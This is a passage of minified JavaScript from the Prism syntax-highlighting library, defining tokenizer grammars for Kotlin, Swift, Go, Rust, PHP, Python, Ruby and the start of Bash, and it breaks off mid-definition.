|catch|class|companion|const|constructor|continue|crossinline|data|do|dynamic|else|enum|expect|external|final|finally|for|fun|get|if|import|in|infix|init|inline|inner|interface|internal|is|lateinit|noinline|null|object|open|operator|out|override|package|private|protected|public|reified|return|sealed|set|super|suspend|tailrec|this|throw|to|try|typealias|val|var|vararg|when|where|while)\b/,lookbehind:!0},function:[{pattern:/(?:`[^\r\n`]+`|\b\w+)(?=\s*\()/,greedy:!0},{pattern:/(\.)(?:`[^\r\n`]+`|\w+)(?=\s*\{)/,lookbehind:!0,greedy:!0}],number:/\b(?:0[xX][\da-fA-F]+(?:_[\da-fA-F]+)*|0[bB][01]+(?:_[01]+)*|\d+(?:_\d+)*(?:\.\d+(?:_\d+)*)?(?:[eE][+-]?\d+(?:_\d+)*)?[fFL]?)\b/,operator:/\+[+=]?|-[-=>]?|==?=?|!(?:!|==?)?|[\/*%<>]=?|[?:]:?|\.\.|&&|\|\||\b(?:and|inv|or|shl|shr|ushr|xor)\b/}),delete s.languages.kotlin["class-name"];var e={"interpolation-punctuation":{pattern:/^\$\{?|\}$/,alias:"punctuation"},expression:{pattern:/[\s\S]+/,inside:s.languages.kotlin}};s.languages.insertBefore("kotlin","string",{"string-literal":[{pattern:/"""(?:[^$]|\$(?:(?!\{)|\{[^{}]*\}))*?"""/,alias:"multiline",inside:{interpolation:{pattern:/\$(?:[a-z_]\w*|\{[^{}]*\})/i,inside:e},string:/[\s\S]+/}},{pattern:/"(?:[^"\\\r\n$]|\\.|\$(?:(?!\{)|\{[^{}]*\}))*"/,alias:"singleline",inside:{interpolation:{pattern:/((?:^|[^\\])(?:\\{2})*)\$(?:[a-z_]\w*|\{[^{}]*\})/i,lookbehind:!0,inside:e},string:/[\s\S]+/}}],char:{pattern:/'(?:[^'\\\r\n]|\\(?:.|u[a-fA-F0-9]{0,4}))'/,greedy:!0}}),delete s.languages.kotlin.string,s.languages.insertBefore("kotlin","keyword",{annotation:{pattern:/\B@(?:\w+:)?(?:[A-Z]\w*|\[[^\]]+\])/,alias:"builtin"}}),s.languages.insertBefore("kotlin","function",{label:{pattern:/\b\w+@|@\w+\b/,alias:"symbol"}}),s.languages.kt=s.languages.kotlin,s.languages.kts=s.languages.kotlin})(Prism);Prism.languages.swift={comment:{pattern:/(^|[^\\:])(?:\/\/.*|\/\*(?:[^/*]|\/(?!\*)|\*(?!\/)|\/\*(?:[^*]|\*(?!\/))*\*\/)*\*\/)/,lookbehind:!0,greedy:!0},"string-literal":[{pattern:RegExp(/(^|[^"#])/.source+"(?:"+/"(?:\\(?:\((?:[^()]|\([^()]*\))*\)|\r\n|[^(])|[^\\\r\n"])*"/.source+"|"+/"""(?:\\(?:\((?:[^()]|\([^()]*\))*\)|[^(])|[^\\"]|"(?!""))*"""/.source+")"+/(?!["#])/.source),lookbehind:!0,greedy:!0,inside:{interpolation:{pattern:/(\\\()(?:[^()]|\([^()]*\))*(?=\))/,lookbehind:!0,inside:null},"interpolation-punctuation":{pattern:/^\)|\\\($/,alias:"punctuation"},punctuation:/\\(?=[\r\n])/,string:/[\s\S]+/}},{pattern:RegExp(/(^|[^"#])(#+)/.source+"(?:"+/"(?:\\(?:#+\((?:[^()]|\([^()]*\))*\)|\r\n|[^#])|[^\\\r\n])*?"/.source+"|"+/"""(?:\\(?:#+\((?:[^()]|\([^()]*\))*\)|[^#])|[^\\])*?"""/.source+")\\2"),lookbehind:!0,greedy:!0,inside:{interpolation:{pattern:/(\\#+\()(?:[^()]|\([^()]*\))*(?=\))/,lookbehind:!0,inside:null},"interpolation-punctuation":{pattern:/^\)|\\#+\($/,alias:"punctuation"},string:/[\s\S]+/}}],directive:{pattern:RegExp(/#/.source+"(?:"+(/(?:elseif|if)\b/.source+"(?:[ ]*"+/(?:![ \t]*)?(?:\b\w+\b(?:[ \t]*\((?:[^()]|\([^()]*\))*\))?|\((?:[^()]|\([^()]*\))*\))(?:[ \t]*(?:&&|\|\|))?/.source+")+")+"|"+/(?:else|endif)\b/.source+")"),alias:"property",inside:{"directive-name":/^#\w+/,boolean:/\b(?:false|true)\b/,number:/\b\d+(?:\.\d+)*\b/,operator:/!|&&|\|\||[<>]=?/,punctuation:/[(),]/}},literal:{pattern:/#(?:colorLiteral|column|dsohandle|file(?:ID|Literal|Path)?|function|imageLiteral|line)\b/,alias:"constant"},"other-directive":{pattern:/#\w+\b/,alias:"property"},attribute:{pattern:/@\w+/,alias:"atrule"},"function-definition":{pattern:/(\bfunc\s+)\w+/,lookbehind:!0,alias:"function"},label:{pattern:/\b(break|continue)\s+\w+|\b[a-zA-Z_]\w*(?=\s*:\s*(?:for|repeat|while)\b)/,lookbehind:!0,alias:"important"},keyword:/\b(?:Any|Protocol|Self|Type|actor|as|assignment|associatedtype|associativity|async|await|break|case|catch|class|continue|convenience|default|defer|deinit|didSet|do|dynamic|else|enum|extension|fallthrough|fileprivate|final|for|func|get|guard|higherThan|if|import|in|indirect|infix|init|inout|internal|is|isolated|lazy|left|let|lowerThan|mutating|none|nonisolated|nonmutating|open|operator|optional|override|postfix|precedencegroup|prefix|private|protocol|public|repeat|required|rethrows|return|right|safe|self|set|some|static|struct|subscript|super|switch|throw|throws|try|typealias|unowned|unsafe|var|weak|where|while|willSet)\b/,boolean:/\b(?:false|true)\b/,nil:{pattern:/\bnil\b/,alias:"constant"},"short-argument":/\$\d+\b/,omit:{pattern:/\b_\b/,alias:"keyword"},number:/\b(?:[\d_]+(?:\.[\de_]+)?|0x[a-f0-9_]+(?:\.[a-f0-9p_]+)?|0b[01_]+|0o[0-7_]+)\b/i,"class-name":/\b[A-Z](?:[A-Z_\d]*[a-z]\w*)?\b/,function:/\b[a-z_]\w*(?=\s*\()/i,constant:/\b(?:[A-Z_]{2,}|k[A-Z][A-Za-z_]+)\b/,operator:/[-+*/%=!<>&|^~?]+|\.[.\-+*/%=!<>&|^~?]+/,punctuation:/[{}[\]();,.:\\]/};Prism.languages.swift["string-literal"].forEach(function(s){s.inside.interpolation.inside=Prism.languages.swift});Prism.languages.go=Prism.languages.extend("clike",{string:{pattern:/(^|[^\\])"(?:\\.|[^"\\\r\n])*"|`[^`]*`/,lookbehind:!0,greedy:!0},keyword:/\b(?:break|case|chan|const|continue|default|defer|else|fallthrough|for|func|go(?:to)?|if|import|interface|map|package|range|return|select|struct|switch|type|var)\b/,boolean:/\b(?:_|false|iota|nil|true)\b/,number:[/\b0(?:b[01_]+|o[0-7_]+)i?\b/i,/\b0x(?:[a-f\d_]+(?:\.[a-f\d_]*)?|\.[a-f\d_]+)(?:p[+-]?\d+(?:_\d+)*)?i?(?!\w)/i,/(?:\b\d[\d_]*(?:\.[\d_]*)?|\B\.\d[\d_]*)(?:e[+-]?[\d_]+)?i?(?!\w)/i],operator:/[*\/%^!=]=?|\+[=+]?|-[=-]?|\|[=|]?|&(?:=|&|\^=?)?|>(?:>=?|=)?|<(?:<=?|=|-)?|:=|\.\.\./,builtin:/\b(?:append|bool|byte|cap|close|complex|complex(?:64|128)|copy|delete|error|float(?:32|64)|u?int(?:8|16|32|64)?|imag|len|make|new|panic|print(?:ln)?|real|recover|rune|string|uintptr)\b/});Prism.languages.insertBefore("go","string",{char:{pattern:/'(?:\\.|[^'\\\r\n]){0,10}'/,greedy:!0}});delete Prism.languages.go["class-name"];(function(s){for(var e=/\/\*(?:[^*/]|\*(?!\/)|\/(?!\*)|)*\*\//.source,t=0;t<2;t++)e=e.replace(//g,function(){return e});e=e.replace(//g,function(){return/[^\s\S]/.source}),s.languages.rust={comment:[{pattern:RegExp(/(^|[^\\])/.source+e),lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/b?"(?:\\[\s\S]|[^\\"])*"|b?r(#*)"(?:[^"]|"(?!\1))*"\1/,greedy:!0},char:{pattern:/b?'(?:\\(?:x[0-7][\da-fA-F]|u\{(?:[\da-fA-F]_*){1,6}\}|.)|[^\\\r\n\t'])'/,greedy:!0},attribute:{pattern:/#!?\[(?:[^\[\]"]|"(?:\\[\s\S]|[^\\"])*")*\]/,greedy:!0,alias:"attr-name",inside:{string:null}},"closure-params":{pattern:/([=(,:]\s*|\bmove\s*)\|[^|]*\||\|[^|]*\|(?=\s*(?:\{|->))/,lookbehind:!0,greedy:!0,inside:{"closure-punctuation":{pattern:/^\||\|$/,alias:"punctuation"},rest:null}},"lifetime-annotation":{pattern:/'\w+/,alias:"symbol"},"fragment-specifier":{pattern:/(\$\w+:)[a-z]+/,lookbehind:!0,alias:"punctuation"},variable:/\$\w+/,"function-definition":{pattern:/(\bfn\s+)\w+/,lookbehind:!0,alias:"function"},"type-definition":{pattern:/(\b(?:enum|struct|trait|type|union)\s+)\w+/,lookbehind:!0,alias:"class-name"},"module-declaration":[{pattern:/(\b(?:crate|mod)\s+)[a-z][a-z_\d]*/,lookbehind:!0,alias:"namespace"},{pattern:/(\b(?:crate|self|super)\s*)::\s*[a-z][a-z_\d]*\b(?:\s*::(?:\s*[a-z][a-z_\d]*\s*::)*)?/,lookbehind:!0,alias:"namespace",inside:{punctuation:/::/}}],keyword:[/\b(?:Self|abstract|as|async|await|become|box|break|const|continue|crate|do|dyn|else|enum|extern|final|fn|for|if|impl|in|let|loop|macro|match|mod|move|mut|override|priv|pub|ref|return|self|static|struct|super|trait|try|type|typeof|union|unsafe|unsized|use|virtual|where|while|yield)\b/,/\b(?:bool|char|f(?:32|64)|[ui](?:8|16|32|64|128|size)|str)\b/],function:/\b[a-z_]\w*(?=\s*(?:::\s*<|\())/,macro:{pattern:/\b\w+!/,alias:"property"},constant:/\b[A-Z_][A-Z_\d]+\b/,"class-name":/\b[A-Z]\w*\b/,namespace:{pattern:/(?:\b[a-z][a-z_\d]*\s*::\s*)*\b[a-z][a-z_\d]*\s*::(?!\s*<)/,inside:{punctuation:/::/}},number:/\b(?:0x[\dA-Fa-f](?:_?[\dA-Fa-f])*|0o[0-7](?:_?[0-7])*|0b[01](?:_?[01])*|(?:(?:\d(?:_?\d)*)?\.)?\d(?:_?\d)*(?:[Ee][+-]?\d+)?)(?:_?(?:f32|f64|[iu](?:8|16|32|64|size)?))?\b/,boolean:/\b(?:false|true)\b/,punctuation:/->|\.\.=|\.{1,3}|::|[{}[\];(),:]/,operator:/[-+*\/%!^]=?|=[=>]?|&[&=]?|\|[|=]?|<>?=?|[@?]/},s.languages.rust["closure-params"].inside.rest=s.languages.rust,s.languages.rust.attribute.inside.string=s.languages.rust.string})(Prism);(function(s){var e=/\/\*[\s\S]*?\*\/|\/\/.*|#(?!\[).*/,t=[{pattern:/\b(?:false|true)\b/i,alias:"boolean"},{pattern:/(::\s*)\b[a-z_]\w*\b(?!\s*\()/i,greedy:!0,lookbehind:!0},{pattern:/(\b(?:case|const)\s+)\b[a-z_]\w*(?=\s*[;=])/i,greedy:!0,lookbehind:!0},/\b(?:null)\b/i,/\b[A-Z_][A-Z0-9_]*\b(?!\s*\()/],n=/\b0b[01]+(?:_[01]+)*\b|\b0o[0-7]+(?:_[0-7]+)*\b|\b0x[\da-f]+(?:_[\da-f]+)*\b|(?:\b\d+(?:_\d+)*\.?(?:\d+(?:_\d+)*)?|\B\.\d+)(?:e[+-]?\d+)?/i,i=/|\?\?=?|\.{3}|\??->|[!=]=?=?|::|\*\*=?|--|\+\+|&&|\|\||<<|>>|[?~]|[/^|%*&<>.+-]=?/,r=/[{}\[\](),:;]/;s.languages.php={delimiter:{pattern:/\?>$|^<\?(?:php(?=\s)|=)?/i,alias:"important"},comment:e,variable:/\$+(?:\w+\b|(?=\{))/,package:{pattern:/(namespace\s+|use\s+(?:function\s+)?)(?:\\?\b[a-z_]\w*)+\b(?!\\)/i,lookbehind:!0,inside:{punctuation:/\\/}},"class-name-definition":{pattern:/(\b(?:class|enum|interface|trait)\s+)\b[a-z_]\w*(?!\\)\b/i,lookbehind:!0,alias:"class-name"},"function-definition":{pattern:/(\bfunction\s+)[a-z_]\w*(?=\s*\()/i,lookbehind:!0,alias:"function"},keyword:[{pattern:/(\(\s*)\b(?:array|bool|boolean|float|int|integer|object|string)\b(?=\s*\))/i,alias:"type-casting",greedy:!0,lookbehind:!0},{pattern:/([(,?]\s*)\b(?:array(?!\s*\()|bool|callable|(?:false|null)(?=\s*\|)|float|int|iterable|mixed|object|self|static|string)\b(?=\s*\$)/i,alias:"type-hint",greedy:!0,lookbehind:!0},{pattern:/(\)\s*:\s*(?:\?\s*)?)\b(?:array(?!\s*\()|bool|callable|(?:false|null)(?=\s*\|)|float|int|iterable|mixed|never|object|self|static|string|void)\b/i,alias:"return-type",greedy:!0,lookbehind:!0},{pattern:/\b(?:array(?!\s*\()|bool|float|int|iterable|mixed|object|string|void)\b/i,alias:"type-declaration",greedy:!0},{pattern:/(\|\s*)(?:false|null)\b|\b(?:false|null)(?=\s*\|)/i,alias:"type-declaration",greedy:!0,lookbehind:!0},{pattern:/\b(?:parent|self|static)(?=\s*::)/i,alias:"static-context",greedy:!0},{pattern:/(\byield\s+)from\b/i,lookbehind:!0},/\bclass\b/i,{pattern:/((?:^|[^\s>:]|(?:^|[^-])>|(?:^|[^:]):)\s*)\b(?:abstract|and|array|as|break|callable|case|catch|clone|const|continue|declare|default|die|do|echo|else|elseif|empty|enddeclare|endfor|endforeach|endif|endswitch|endwhile|enum|eval|exit|extends|final|finally|fn|for|foreach|function|global|goto|if|implements|include|include_once|instanceof|insteadof|interface|isset|list|match|namespace|never|new|or|parent|print|private|protected|public|readonly|require|require_once|return|self|static|switch|throw|trait|try|unset|use|var|while|xor|yield|__halt_compiler)\b/i,lookbehind:!0}],"argument-name":{pattern:/([(,]\s*)\b[a-z_]\w*(?=\s*:(?!:))/i,lookbehind:!0},"class-name":[{pattern:/(\b(?:extends|implements|instanceof|new(?!\s+self|\s+static))\s+|\bcatch\s*\()\b[a-z_]\w*(?!\\)\b/i,greedy:!0,lookbehind:!0},{pattern:/(\|\s*)\b[a-z_]\w*(?!\\)\b/i,greedy:!0,lookbehind:!0},{pattern:/\b[a-z_]\w*(?!\\)\b(?=\s*\|)/i,greedy:!0},{pattern:/(\|\s*)(?:\\?\b[a-z_]\w*)+\b/i,alias:"class-name-fully-qualified",greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}},{pattern:/(?:\\?\b[a-z_]\w*)+\b(?=\s*\|)/i,alias:"class-name-fully-qualified",greedy:!0,inside:{punctuation:/\\/}},{pattern:/(\b(?:extends|implements|instanceof|new(?!\s+self\b|\s+static\b))\s+|\bcatch\s*\()(?:\\?\b[a-z_]\w*)+\b(?!\\)/i,alias:"class-name-fully-qualified",greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}},{pattern:/\b[a-z_]\w*(?=\s*\$)/i,alias:"type-declaration",greedy:!0},{pattern:/(?:\\?\b[a-z_]\w*)+(?=\s*\$)/i,alias:["class-name-fully-qualified","type-declaration"],greedy:!0,inside:{punctuation:/\\/}},{pattern:/\b[a-z_]\w*(?=\s*::)/i,alias:"static-context",greedy:!0},{pattern:/(?:\\?\b[a-z_]\w*)+(?=\s*::)/i,alias:["class-name-fully-qualified","static-context"],greedy:!0,inside:{punctuation:/\\/}},{pattern:/([(,?]\s*)[a-z_]\w*(?=\s*\$)/i,alias:"type-hint",greedy:!0,lookbehind:!0},{pattern:/([(,?]\s*)(?:\\?\b[a-z_]\w*)+(?=\s*\$)/i,alias:["class-name-fully-qualified","type-hint"],greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}},{pattern:/(\)\s*:\s*(?:\?\s*)?)\b[a-z_]\w*(?!\\)\b/i,alias:"return-type",greedy:!0,lookbehind:!0},{pattern:/(\)\s*:\s*(?:\?\s*)?)(?:\\?\b[a-z_]\w*)+\b(?!\\)/i,alias:["class-name-fully-qualified","return-type"],greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}}],constant:t,function:{pattern:/(^|[^\\\w])\\?[a-z_](?:[\w\\]*\w)?(?=\s*\()/i,lookbehind:!0,inside:{punctuation:/\\/}},property:{pattern:/(->\s*)\w+/,lookbehind:!0},number:n,operator:i,punctuation:r};var o={pattern:/\{\$(?:\{(?:\{[^{}]+\}|[^{}]+)\}|[^{}])+\}|(^|[^\\{])\$+(?:\w+(?:\[[^\r\n\[\]]+\]|->\w+)?)/,lookbehind:!0,inside:s.languages.php},a=[{pattern:/<<<'([^']+)'[\r\n](?:.*[\r\n])*?\1;/,alias:"nowdoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<<'[^']+'|[a-z_]\w*;$/i,alias:"symbol",inside:{punctuation:/^<<<'?|[';]$/}}}},{pattern:/<<<(?:"([^"]+)"[\r\n](?:.*[\r\n])*?\1;|([a-z_]\w*)[\r\n](?:.*[\r\n])*?\2;)/i,alias:"heredoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<<(?:"[^"]+"|[a-z_]\w*)|[a-z_]\w*;$/i,alias:"symbol",inside:{punctuation:/^<<<"?|[";]$/}},interpolation:o}},{pattern:/`(?:\\[\s\S]|[^\\`])*`/,alias:"backtick-quoted-string",greedy:!0},{pattern:/'(?:\\[\s\S]|[^\\'])*'/,alias:"single-quoted-string",greedy:!0},{pattern:/"(?:\\[\s\S]|[^\\"])*"/,alias:"double-quoted-string",greedy:!0,inside:{interpolation:o}}];s.languages.insertBefore("php","variable",{string:a,attribute:{pattern:/#\[(?:[^"'\/#]|\/(?![*/])|\/\/.*$|#(?!\[).*$|\/\*(?:[^*]|\*(?!\/))*\*\/|"(?:\\[\s\S]|[^\\"])*"|'(?:\\[\s\S]|[^\\'])*')+\](?=\s*[a-z$#])/im,greedy:!0,inside:{"attribute-content":{pattern:/^(#\[)[\s\S]+(?=\]$)/,lookbehind:!0,inside:{comment:e,string:a,"attribute-class-name":[{pattern:/([^:]|^)\b[a-z_]\w*(?!\\)\b/i,alias:"class-name",greedy:!0,lookbehind:!0},{pattern:/([^:]|^)(?:\\?\b[a-z_]\w*)+/i,alias:["class-name","class-name-fully-qualified"],greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}}],constant:t,number:n,operator:i,punctuation:r}},delimiter:{pattern:/^#\[|\]$/,alias:"punctuation"}}}}),s.hooks.add("before-tokenize",function(c){if(/<\?/.test(c.code)){var l=/<\?(?:[^"'/#]|\/(?![*/])|("|')(?:\\[\s\S]|(?!\1)[^\\])*\1|(?:\/\/|#(?!\[))(?:[^?\n\r]|\?(?!>))*(?=$|\?>|[\r\n])|#\[|\/\*(?:[^*]|\*(?!\/))*(?:\*\/|$))*?(?:\?>|$)/g;s.languages["markup-templating"].buildPlaceholders(c,"php",l)}}),s.hooks.add("after-tokenize",function(c){s.languages["markup-templating"].tokenizePlaceholders(c,"php")})})(Prism);Prism.languages.python={comment:{pattern:/(^|[^\\])#.*/,lookbehind:!0,greedy:!0},"string-interpolation":{pattern:/(?:f|fr|rf)(?:("""|''')[\s\S]*?\1|("|')(?:\\.|(?!\2)[^\\\r\n])*\2)/i,greedy:!0,inside:{interpolation:{pattern:/((?:^|[^{])(?:\{\{)*)\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}])+\})+\})+\}/,lookbehind:!0,inside:{"format-spec":{pattern:/(:)[^:(){}]+(?=\}$)/,lookbehind:!0},"conversion-option":{pattern:/![sra](?=[:}]$)/,alias:"punctuation"},rest:null}},string:/[\s\S]+/}},"triple-quoted-string":{pattern:/(?:[rub]|br|rb)?("""|''')[\s\S]*?\1/i,greedy:!0,alias:"string"},string:{pattern:/(?:[rub]|br|rb)?("|')(?:\\.|(?!\1)[^\\\r\n])*\1/i,greedy:!0},function:{pattern:/((?:^|\s)def[ \t]+)[a-zA-Z_]\w*(?=\s*\()/g,lookbehind:!0},"class-name":{pattern:/(\bclass\s+)\w+/i,lookbehind:!0},decorator:{pattern:/(^[\t ]*)@\w+(?:\.\w+)*/m,lookbehind:!0,alias:["annotation","punctuation"],inside:{punctuation:/\./}},keyword:/\b(?:_(?=\s*:)|and|as|assert|async|await|break|case|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|match|nonlocal|not|or|pass|print|raise|return|try|while|with|yield)\b/,builtin:/\b(?:__import__|abs|all|any|apply|ascii|basestring|bin|bool|buffer|bytearray|bytes|callable|chr|classmethod|cmp|coerce|compile|complex|delattr|dict|dir|divmod|enumerate|eval|execfile|file|filter|float|format|frozenset|getattr|globals|hasattr|hash|help|hex|id|input|int|intern|isinstance|issubclass|iter|len|list|locals|long|map|max|memoryview|min|next|object|oct|open|ord|pow|property|range|raw_input|reduce|reload|repr|reversed|round|set|setattr|slice|sorted|staticmethod|str|sum|super|tuple|type|unichr|unicode|vars|xrange|zip)\b/,boolean:/\b(?:False|None|True)\b/,number:/\b0(?:b(?:_?[01])+|o(?:_?[0-7])+|x(?:_?[a-f0-9])+)\b|(?:\b\d+(?:_\d+)*(?:\.(?:\d+(?:_\d+)*)?)?|\B\.\d+(?:_\d+)*)(?:e[+-]?\d+(?:_\d+)*)?j?(?!\w)/i,operator:/[-+%=]=?|!=|:=|\*\*?=?|\/\/?=?|<[<=>]?|>[=>]?|[&|^~]/,punctuation:/[{}[\];(),.:]/};Prism.languages.python["string-interpolation"].inside.interpolation.inside.rest=Prism.languages.python;Prism.languages.py=Prism.languages.python;(function(s){s.languages.ruby=s.languages.extend("clike",{comment:{pattern:/#.*|^=begin\s[\s\S]*?^=end/m,greedy:!0},"class-name":{pattern:/(\b(?:class|module)\s+|\bcatch\s+\()[\w.\\]+|\b[A-Z_]\w*(?=\s*\.\s*new\b)/,lookbehind:!0,inside:{punctuation:/[.\\]/}},keyword:/\b(?:BEGIN|END|alias|and|begin|break|case|class|def|define_method|defined|do|each|else|elsif|end|ensure|extend|for|if|in|include|module|new|next|nil|not|or|prepend|private|protected|public|raise|redo|require|rescue|retry|return|self|super|then|throw|undef|unless|until|when|while|yield)\b/,operator:/\.{2,3}|&\.|===||[!=]?~|(?:&&|\|\||<<|>>|\*\*|[+\-*/%<>!^&|=])=?|[?:]/,punctuation:/[(){}[\].,;]/}),s.languages.insertBefore("ruby","operator",{"double-colon":{pattern:/::/,alias:"punctuation"}});var e={pattern:/((?:^|[^\\])(?:\\{2})*)#\{(?:[^{}]|\{[^{}]*\})*\}/,lookbehind:!0,inside:{content:{pattern:/^(#\{)[\s\S]+(?=\}$)/,lookbehind:!0,inside:s.languages.ruby},delimiter:{pattern:/^#\{|\}$/,alias:"punctuation"}}};delete s.languages.ruby.function;var t="(?:"+[/([^a-zA-Z0-9\s{(\[<=])(?:(?!\1)[^\\]|\\[\s\S])*\1/.source,/\((?:[^()\\]|\\[\s\S]|\((?:[^()\\]|\\[\s\S])*\))*\)/.source,/\{(?:[^{}\\]|\\[\s\S]|\{(?:[^{}\\]|\\[\s\S])*\})*\}/.source,/\[(?:[^\[\]\\]|\\[\s\S]|\[(?:[^\[\]\\]|\\[\s\S])*\])*\]/.source,/<(?:[^<>\\]|\\[\s\S]|<(?:[^<>\\]|\\[\s\S])*>)*>/.source].join("|")+")",n=/(?:"(?:\\.|[^"\\\r\n])*"|(?:\b[a-zA-Z_]\w*|[^\s\0-\x7F]+)[?!]?|\$.)/.source;s.languages.insertBefore("ruby","keyword",{"regex-literal":[{pattern:RegExp(/%r/.source+t+/[egimnosux]{0,6}/.source),greedy:!0,inside:{interpolation:e,regex:/[\s\S]+/}},{pattern:/(^|[^/])\/(?!\/)(?:\[[^\r\n\]]+\]|\\.|[^[/\\\r\n])+\/[egimnosux]{0,6}(?=\s*(?:$|[\r\n,.;})#]))/,lookbehind:!0,greedy:!0,inside:{interpolation:e,regex:/[\s\S]+/}}],variable:/[@$]+[a-zA-Z_]\w*(?:[?!]|\b)/,symbol:[{pattern:RegExp(/(^|[^:]):/.source+n),lookbehind:!0,greedy:!0},{pattern:RegExp(/([\r\n{(,][ \t]*)/.source+n+/(?=:(?!:))/.source),lookbehind:!0,greedy:!0}],"method-definition":{pattern:/(\bdef\s+)\w+(?:\s*\.\s*\w+)?/,lookbehind:!0,inside:{function:/\b\w+$/,keyword:/^self\b/,"class-name":/^\w+/,punctuation:/\./}}}),s.languages.insertBefore("ruby","string",{"string-literal":[{pattern:RegExp(/%[qQiIwWs]?/.source+t),greedy:!0,inside:{interpolation:e,string:/[\s\S]+/}},{pattern:/("|')(?:#\{[^}]+\}|#(?!\{)|\\(?:\r\n|[\s\S])|(?!\1)[^\\#\r\n])*\1/,greedy:!0,inside:{interpolation:e,string:/[\s\S]+/}},{pattern:/<<[-~]?([a-z_]\w*)[\r\n](?:.*[\r\n])*?[\t ]*\1/i,alias:"heredoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<[-~]?[a-z_]\w*|\b[a-z_]\w*$/i,inside:{symbol:/\b\w+/,punctuation:/^<<[-~]?/}},interpolation:e,string:/[\s\S]+/}},{pattern:/<<[-~]?'([a-z_]\w*)'[\r\n](?:.*[\r\n])*?[\t ]*\1/i,alias:"heredoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<[-~]?'[a-z_]\w*'|\b[a-z_]\w*$/i,inside:{symbol:/\b\w+/,punctuation:/^<<[-~]?'|'$/}},string:/[\s\S]+/}}],"command-literal":[{pattern:RegExp(/%x/.source+t),greedy:!0,inside:{interpolation:e,command:{pattern:/[\s\S]+/,alias:"string"}}},{pattern:/`(?:#\{[^}]+\}|#(?!\{)|\\(?:\r\n|[\s\S])|[^\\`#\r\n])*`/,greedy:!0,inside:{interpolation:e,command:{pattern:/[\s\S]+/,alias:"string"}}}]}),delete s.languages.ruby.string,s.languages.insertBefore("ruby","number",{builtin:/\b(?:Array|Bignum|Binding|Class|Continuation|Dir|Exception|FalseClass|File|Fixnum|Float|Hash|IO|Integer|MatchData|Method|Module|NilClass|Numeric|Object|Proc|Range|Regexp|Stat|String|Struct|Symbol|TMS|Thread|ThreadGroup|Time|TrueClass)\b/,constant:/\b[A-Z][A-Z0-9_]*(?:[?!]|\b)/}),s.languages.rb=s.languages.ruby})(Prism);(function(s){var e="\\b(?:BASH|BASHOPTS|BASH_ALIASES|BASH_ARGC|BASH_ARGV|BASH_CMDS|BASH_COMPLETION_COMPAT_DIR|BASH_LINENO|BASH_REMATCH|BASH_SOURCE|BASH_VERSINFO|BASH_VERSION|COLORTERM|COLUMNS|COMP_WORDBREAKS|DBUS_SESSION_BUS_ADDRESS|DEFAULTS_PATH|DESKTOP_SESSION|DIRSTACK|DISPLAY|EUID|GDMSESSION|GDM_LANG|GNOME_KEYRING_CONTROL|GNOME_KEYRING_PID|GPG_AGENT_INFO|GROUPS|HISTCONTROL|HISTFILE|HISTFILESIZE|HISTSIZE|HOME|HOSTNAME|HOSTTYPE|IFS|INSTANCE|JOB|LANG|LANGUAGE|LC_ADDRESS|LC_ALL|LC_IDENTIFICATION|LC_MEASUREMENT|LC_MONETARY|LC_NAME|LC_NUMERIC|LC_PAPER|LC_TELEPHONE|LC_TIME|LESSCLOSE|LESSOPEN|LINES|LOGNAME|LS_COLORS|MACHTYPE|MAILCHECK|MANDATORY_PATH|NO_AT_BRIDGE|OLDPWD|OPTERR|OPTIND|ORBIT_SOCKETDIR|OSTYPE|PAPERSIZE|PATH|PIPESTATUS|PPID|PS1|PS2|PS3|PS4|PWD|RANDOM|REPLY|SECONDS|SELINUX_INIT|SESSION|SESSIONTYPE|SESSION_MANAGER|SHELL|SHELLOPTS|SHLVL|SSH_AUTH_SOCK|TERM|UID|UPSTART_EVENTS|UPSTART_INSTANCE|UPSTART_JOB|UPSTART_SESSION|USER|WINDOWID|XAUTHORITY|XDG_CONFIG_DIRS|XDG_CURRENT_DESKTOP|XDG_DATA_DIRS|XDG_GREETER_DATA_DIR|XDG_MENU_PREFIX|XDG_RUNTIME_DIR|XDG_SEAT|XDG_SEAT_PATH|XDG_SESSION_DESKTOP|XDG_SESSION_ID|XDG_SESSION_PATH|XDG_SESSION_TYPE|XDG_VTNR|XMODIFIERS)\\b",t={pattern:/(^(["']?)\w+\2)[ \t]+\S.*/,lookbehind:!0,alias:"punctuation",inside:null},n={bash:t,environment:{pattern:RegExp("\\$"+e),alias:"constant"},variable:[{pattern:/\$?\(\([\s\S]+?\)\)/,greedy:!0,inside:{variable:[{pattern:/(^\$\(\([\s\S]+)\)\)/,lookbehind:!0},/^\$\(\(/],number:/\b0x[\dA-Fa-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:[Ee]-?\d+)?/,operator:/--|\+\+|\*\*=?|<<=?|>>=?|&&|\|\||[=!+\-*/%<>^&|]=?|[?~:]/,punctuation:/\(\(?|\)\)?|,|;/}},{pattern:/\$\((?:\([^)]+\)|[^()])+\)|`[^`]+`/,greedy:!0,inside:{variable:/^\$\(|^`|\)$|`$/}},{pattern:/\$\{[^}]+\}/,greedy:!0,inside:{operator:/:[-=?+]?|[!\/]|##?|%%?|\^\^?|,,?/,punctuation:/[\[\]]/,environment:{pattern:RegExp("(\\{)"+e),lookbehind:!0,alias:"constant"}}},/\$(?:\w+|[#?*!@$])/],entity:/\\(?:[abceEfnrtv\\"]|O?[0-7]{1,3}|U[0-9a-fA-F]{8}|u[0-9a-fA-F]{4}|x[0-9a-fA-F]{1,2})/};s.languages.bash={shebang:{pattern:/^#!\s*\/.*/,alias:"important"},comment:{pattern:/(^|[^"{\\$])#.*/,lookbehind:!0},"function-name":[{pattern:/(\bfunction\s+)[\w-]+(?=(?:\s*\(?:\s*\))?\s*\{)/,lookbehind:!0,alias:"function"},{pattern:/\b[\w-]+(?=\s*\(\s*\)\s*\{)/,alias:"function"}],"for-or-select":{pattern:/(\b(?:for|select)\s+)\w+(?=\s+in\s)/,alias:"variable",lookbehind:!0},"assign-left":{pattern:/(^|[\s;|&]|[<>]\()\w+(?:\.\w+)*(